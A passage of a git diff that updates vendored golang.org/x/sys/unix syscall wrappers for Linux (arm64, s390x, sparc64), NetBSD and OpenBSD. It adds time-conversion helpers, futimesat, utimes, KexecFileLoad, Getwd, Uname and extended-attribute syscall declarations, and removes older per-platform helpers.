-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func futimesat(dirfd int, path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(dirfd, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
- }
-
- func Time(t *Time_t) (Time_t, error) {
-@@ -105,6 +131,18 @@ func Utime(path string, buf *Utimbuf) error {
- return Utimes(path, tv)
- }
-
-+func utimes(path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(AT_FDCWD, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+}
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
-@@ -141,6 +179,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -153,30 +195,11 @@ func Dup2(oldfd int, newfd int) (err error) {
- return Dup3(oldfd, newfd, 0)
- }
-
--func Pause() (err error) {
-- _, _, e1 := Syscall6(SYS_PPOLL, 0, 0, 0, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
-+func Pause() error {
-+ _, err := ppoll(nil, 0, nil, nil)
-+ return err
- }
-
--// TODO(dfc): constants that should be in zsysnum_linux_arm64.go, remove
--// these when the deprecated syscalls that the syscall package relies on
--// are removed.
--const (
-- SYS_GETPGRP = 1060
-- SYS_UTIMES = 1037
-- SYS_FUTIMESAT = 1066
-- SYS_PAUSE = 1061
-- SYS_USTAT = 1070
-- SYS_UTIME = 1063
-- SYS_LCHOWN = 1032
-- SYS_TIME = 1062
-- SYS_EPOLL_CREATE = 1042
-- SYS_EPOLL_WAIT = 1069
--)
--
- func Poll(fds []PollFd, timeout int) (n int, err error) {
- var ts *Timespec
- if timeout >= 0 {
-@@ -188,3 +211,20 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return ppoll(&fds[0], len(fds), ts, nil)
- }
-+
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ return Renameat2(olddirfd, oldpath, newdirfd, newpath, 0)
-+}
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go b/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go
-index 1708a4bb..533e9305 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go
-@@ -11,10 +11,12 @@ import (
- )
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -28,11 +30,12 @@ import (
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -43,11 +46,11 @@ import (
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sysnb getgroups(n int, list *_Gid_t) (nn int, err error)
- //sysnb setgroups(n int, list *_Gid_t) (err error)
-
--func Getpagesize() int { return 4096 }
--
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
- func Time(t *Time_t) (tt Time_t, err error) {
-@@ -63,20 +66,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- //sysnb pipe2(p *[2]_C_int, flags int) (err error)
-@@ -123,6 +120,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -326,3 +327,16 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go b/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go
-index 20b7454d..d890a227 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go
-@@ -6,15 +6,12 @@
-
- package unix
-
--import (
-- "sync/atomic"
-- "syscall"
--)
--
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Dup2(oldfd int, newfd int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -29,11 +26,12 @@ import (
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -63,21 +61,6 @@ import (
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func sysconf(name int) (n int64, err syscall.Errno)
--
--// pageSize caches the value of Getpagesize, since it can't change
--// once the system is booted.
--var pageSize int64 // accessed atomically
--
--func Getpagesize() int {
-- n := atomic.LoadInt64(&pageSize)
-- if n == 0 {
-- n, _ = sysconf(_SC_PAGESIZE)
-- atomic.StoreInt64(&pageSize, n)
-- }
-- return int(n)
--}
--
- func Ioperm(from int, num int, on int) (err error) {
- return ENOSYS
- }
-@@ -86,6 +69,7 @@ func Iopl(level int) (err error) {
- return ENOSYS
- }
-
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
- func Time(t *Time_t) (tt Time_t, err error) {
-@@ -101,20 +85,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func (r *PtraceRegs) PC() uint64 { return r.Tpc }
-@@ -129,6 +107,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd.go b/vendor/golang.org/x/sys/unix/syscall_netbsd.go
-index e1296684..45b50a61 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd.go
-@@ -13,10 +13,12 @@
- package unix
-
- import (
-+ "runtime"
- "syscall"
- "unsafe"
- )
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -55,7 +57,6 @@ func sysctlNodes(mib []_C_int) (nodes []Sysctlnode, err error) {
- }
-
- func nametomib(name string) (mib []_C_int, err error) {
--
- // Split name into components.
- var parts []string
- last := 0
-@@ -114,9 +115,47 @@ func Pipe(p []int) (err error) {
- return
- }
-
--//sys getdents(fd int, buf []byte) (n int, err error)
-+//sys Getdents(fd int, buf []byte) (n int, err error)
- func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- return getdents(fd, buf)
-+ n, err = Getdents(fd, buf)
-+ if err != nil || basep == nil {
-+ return
-+ }
-+
-+ var off int64
-+ off, err = Seek(fd, 0, 1 /* SEEK_CUR */)
-+ if err != nil {
-+ *basep = ^uintptr(0)
-+ return
-+ }
-+ *basep = uintptr(off)
-+ if unsafe.Sizeof(*basep) == 8 {
-+ return
-+ }
-+ if off>>32 != 0 {
-+ // We can't stuff the offset back into a uintptr, so any
-+ // future calls would be suspect. Generate an error.
-+ // EIO is allowed by getdirentries.
-+ err = EIO
-+ }
-+ return
-+}
-+
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
- }
-
- // TODO
-@@ -124,6 +163,83 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- return -1, ENOSYS
- }
-
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+func IoctlGetPtmget(fd int, req uint) (*Ptmget, error) {
-+ var value Ptmget
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ runtime.KeepAlive(value)
-+ return &value, err
-+}
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ return nil
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
-+func Fstatvfs(fd int, buf *Statvfs_t) (err error) {
-+ return Fstatvfs1(fd, buf, ST_WAIT)
-+}
-+
-+func Statvfs(path string, buf *Statvfs_t) (err error) {
-+ return Statvfs1(path, buf, ST_WAIT)
-+}
-+
- /*
- * Exposed directly
- */
-@@ -137,14 +253,33 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- //sys Close(fd int) (err error)
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
-+//sys Dup3(from int, to int, flags int) (err error)
- //sys Exit(code int)
-+//sys ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error)
-+//sys ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error)
-+//sys ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error)
-+//sys ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_POSIX_FADVISE
- //sys Fchdir(fd int) (err error)
- //sys Fchflags(fd int, flags int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) = SYS_FSTATVFS1
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -165,23 +300,30 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- //sys Kqueue() (fd int, err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Link(path string, link string) (err error)
-+//sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
-+//sys Mkfifoat(dirfd int, path string, mode uint32) (err error)
- //sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
-+//sys Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error)
- //sys Pathconf(path string, name int) (val int, err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error)
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error)
- //sys read(fd int, p []byte) (n int, err error)
- //sys Readlink(path string, buf []byte) (n int, err error)
-+//sys Readlinkat(dirfd int, path string, buf []byte) (n int, err error)
- //sys Rename(from string, to string) (err error)
-+//sys Renameat(fromfd int, from string, tofd int, to string) (err error)
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -194,11 +336,14 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
- //sys Stat(path string, stat *Stat_t) (err error)
-+//sys Statvfs1(path string, buf *Statvfs_t, flags int) (err error) = SYS_STATVFS1
- //sys Symlink(path string, link string) (err error)
-+//sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
- //sys Truncate(path string, length int64) (err error)
- //sys Umask(newmask int) (oldmask int)
- //sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
- //sys Unmount(path string, flags int) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
-@@ -225,7 +370,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- // __msync13
- // __ntp_gettime30
- // __posix_chown
--// __posix_fadvise50
- // __posix_fchown
- // __posix_lchown
- // __posix_rename
-@@ -384,7 +528,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- // getitimer
- // getvfsstat
- // getxattr
--// ioctl
- // ktrace
- // lchflags
- // lchmod
-@@ -422,7 +565,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- // ntp_adjtime
- // pmc_control
- // pmc_get_info
--// poll
- // pollts
- // preadv
- // profil
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go
-index afaca098..24da8b52 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-index a6ff04ce..25a0ac82 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int64(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go
-index 68a6969b..21591ecd 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go
-similarity index 50%
-copy from vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go
-index a6ff04ce..80474963 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go
-@@ -1,26 +1,17 @@
--// Copyright 2009 The Go Authors. All rights reserved.
-+// Copyright 2019 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build amd64,netbsd
-+// +build arm64,netbsd
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int64(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_no_getwd.go b/vendor/golang.org/x/sys/unix/syscall_no_getwd.go
-deleted file mode 100644
-index 530792ea..00000000
---- a/vendor/golang.org/x/sys/unix/syscall_no_getwd.go
-+++ /dev/null
-@@ -1,11 +0,0 @@
--// Copyright 2013 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build dragonfly freebsd netbsd openbsd
--
--package unix
--
--const ImplementsGetwd = false
--
--func Getwd() (string, error) { return "", ENOTSUP }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd.go b/vendor/golang.org/x/sys/unix/syscall_openbsd.go
-index 408e6308..a266e92a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd.go
-@@ -13,10 +13,12 @@
- package unix
-
- import (
-+ "sort"
- "syscall"
- "unsafe"
- )
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -32,23 +34,11 @@ type SockaddrDatalink struct {
